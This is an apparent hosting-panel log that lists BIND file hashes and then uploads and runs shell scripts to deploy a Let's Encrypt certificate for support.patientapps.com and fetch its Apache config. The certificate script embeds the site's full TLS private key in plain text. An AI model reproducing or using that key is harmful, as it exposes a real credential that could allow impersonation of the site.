MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-26 06:00:02: Establishing a connection
2026-05-26 06:00:02: Establishing a connection
2026-05-26 06:00:02: 

PUT: /tmp/pkp403511

#!/bin/bash
if [ -d "/var/www/patientapps_support/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-26 06:00:03: 

chmod 755 /tmp/pkp403511; /tmp/pkp403511; rm /tmp/pkp403511

2026-05-26 06:00:03: 


0


2026-05-26 06:00:40: Establishing a connection
2026-05-26 06:00:40: 

PUT: /tmp/pkp959958

#!/bin/bash
temp_file=$(mktemp)
TARGET=4510c05efeebdbfa45526af095977c06.crt

cat > $temp_file <<'endmsg'
34:e7:67:09:61:fd:d6:53:52:53:e8:eb:9b:b6:94:50

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBQAtwGxI6oxFa0a2n3Lav6OfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTI2MDUwMjA5WhcNMjYwODI0MDUwMjA4WjAiMSAwHgYDVQQD
ExdzdXBwb3J0LnBhdGllbnRhcHBzLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAL9Mz7RtOMw06G3rXe3d3h0f6yeM3e7P4XbTdcJgY7HZNXr1mtkk
Slt7FF2fiwC/bwcjB5qvKejXzBAw+hYA+NIjlq8yN6dMELDDgE0TUPwSKMJMvfN/
qMbQCdAtxB4Me39Vb91aOIi0Pt8Nst4Rw0tq2iu+WC/KExNejtlQlMsbj4dofDWl
EpBCWV7d4XUAFQlQ4Zyx4cF8U+KQ4g3I8f2BOBxvYkIXrkRMAIxuPfFKtd+3KTij
LUweO3cNJ9Ht4VyidkZnNTeMNg2l4DwHyvaPIizfguuV1ZSqwpx/wl2SSjtW+7Ww
9vQpqf1o0q7dS16GgbtCVN4KDUWV9xUjJAsCAwEAAaOCAiUwggIhMA4GA1UdDwEB
/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBQlrNyFtdf71uPcTsV/WKkYljr78jAfBgNVHSMEGDAWgBQAtSnyLY5vMeib
TK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTIuaS5sZW5jci5vcmcvMCIGA1UdEQQbMBmCF3N1cHBvcnQucGF0aWVudGFwcHMu
Y29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTIuYy5sZW5jci5vcmcvMzIuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4
AH0AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGeYt73CgAIAAAF
AAyUkp4EAwBGMEQCIG8mOEzSx0UgTod6zysE/05/6rrOjUwJR3CXcqvnhoBIAiBy
UnMmxJpDBKM4+TiHJt1W44Uc0WZjJdW9qERFszSdiwB3AK9niDtXsE7dj6bZfvYu
qOuBCsdxYPAkXlXWDC/nhYc6AAABnmLe940AAAQDAEgwRgIhAPq81tPPbPY6PRzO
rpDzYYtnJ+nj5Rq/lvBnxZ/ZE6GuAiEAhj5FeRc10+p24ax7hwe40P0FvUTePCyk
olkIkdYvuOwwDQYJKoZIhvcNAQELBQADggEBADCkLOWgwQVz/RwAx3z6qNqcLiJq
BY+VPG5d5nzv396/YS/DjAfYnpW7tkN/PR4Ae6KCNX8QrBrVl2LzErY67k+F3MYK
NYUigmKpwONq70VVmKwF5Vj3QuT6Lr9VUVMeP1RninjIcbZv3oOxEBCia0AWGVzz
DEBXVo3wKZ27Br+Lc2x3ETw2/PJQHHFA3vBXqoofi3KRk1WB/lcS5BC+fDy5BVbv
7IItE4jQeapgrx/NskET6s+Az2Vo29a7OZvTMYErDUR1VIjJseGbgaNVmOKdAzBR
ZhextrB+96LbGnSZsnV7zkMzqJ83tXvCI9xq+P9Rq+RTyRwKeqTCxxsQx9I=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC/TM+0bTjMNOht
613t3d4dH+snjN3uz+F203XCYGOx2TV69ZrZJEpbexRdn4sAv28HIwearyno18wQ
MPoWAPjSI5avMjenTBCww4BNE1D8EijCTL3zf6jG0AnQLcQeDHt/VW/dWjiItD7f
DbLeEcNLatorvlgvyhMTXo7ZUJTLG4+HaHw1pRKQQlle3eF1ABUJUOGcseHBfFPi
kOINyPH9gTgcb2JCF65ETACMbj3xSrXftyk4oy1MHjt3DSfR7eFconZGZzU3jDYN
peA8B8r2jyIs34LrldWUqsKcf8Jdkko7Vvu1sPb0Kan9aNKu3UtehoG7QlTeCg1F
lfcVIyQLAgMBAAECggEAEewkWYcSFy+txv6SIkLzGE9xPJdaA5G+Ud+l3LwjGvp6
pDZ2d3mK7d8uHUdhQoSs5kJF6BwZFROCrtGn3H/iz+09pNRTmnzp42Wtk4sHv1YE
M4/1C+cd7OJ4yORAx3/r4hYjEN3vBf+9FDC4XU3UujAcmJSQtol8GAh34axHBHA7
GsBv+OVWIzvIh8lLwuyKndxByz8fpHlNr9lGJNymIwxdBgM3Kxi+bd4tSvNO4qLD
48+K9i9wtyRFkpPt28LzVEMMLtALEUxn6v64d9+aVqQasdXAjiDYKoYrD4ZCuuJr
osQHRa5SpzE2LWm9MBQFRawwpLjS2hSrMDrzHQoYgQKBgQDjhPMqAZXjf6/LqCGR
nqZv9TK8vtX4mNMIEqeN7Aam7RrVNOTeMLBxGpRRpNCnN1Mlbw8c5qjnRfACCQkY
DKh92Xxo+2dZQE3dorz5ES1Rww4Bno1kBSrLQd7bBIeX5C+RqVtZfPWZqFLvCINc
dtuMig/u8MQKj+W45d9qmE1fsQKBgQDXPy7+wpj7AdDv9l4aSxSJIIGOdMCbH/MW
ZWKoblvvWa1DSO2H+WQsYGT/aQIT5MJspIwUwPMl5Ujg64j2mbV/5Z0cZFcBGcm4
ATslRDNFvajDlM5vdR6PxRtj7/i9MEpER0gZOlVIuD+TJ5l4elU+V6eCPgHkyOiS
NcNq911KewKBgCAT5pTNlGx23DpCgjkdvSmb0IN8BH8ATQCeYLFJzcZLN7VHt9z7
0GSh8rdwHVr2Ger1NZRFkRrKaYRf8cBKSJc1yqyihXe38UKGZ05WdaVJcvgXeqfX
cqklqF4IzXVE3tASqKZ9T8NSUB8TfDHVMC8oaAawO3OhxinDfzRwNLiBAoGACras
YiXRc3ztp2P93xUpmoGxsSOCirYWZWD6fiOwE8PE6fpxSDlTkRnjLQtO/Sp/uuSd
zFKmR5aYAAn5MT0JWapWHZmo8vcToUL+bKZuXuRHyCRZ+hY8RS+sY1cIbHJA4BEk
N409vXbeQzbPXr3IDGhUgBkSAw809EIUzfgt/o0CgYBZ/z84gqocoKm2D8+d+xpy
QwRkzyeGaN++n39+SOwuSellROdVUzJG427bUQRgypuUryZvPEq9iKJG1y9Ad78I
55EHjkYZ4fuMekA7buvR83tklg5DjnSax/KRLssfnB0uwx1bzaJaKJ9/o08MMuUN
hwjvVJTq21mpd5xRVKuwtA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-26 06:00:40: 

chmod 755 /tmp/pkp959958; /tmp/pkp959958; rm /tmp/pkp959958

2026-05-26 06:00:40: 


dir=/etc/ssl/certs


2026-05-26 06:00:40: 

PUT: /tmp/pkp852327

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_support_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-26 06:00:40: 

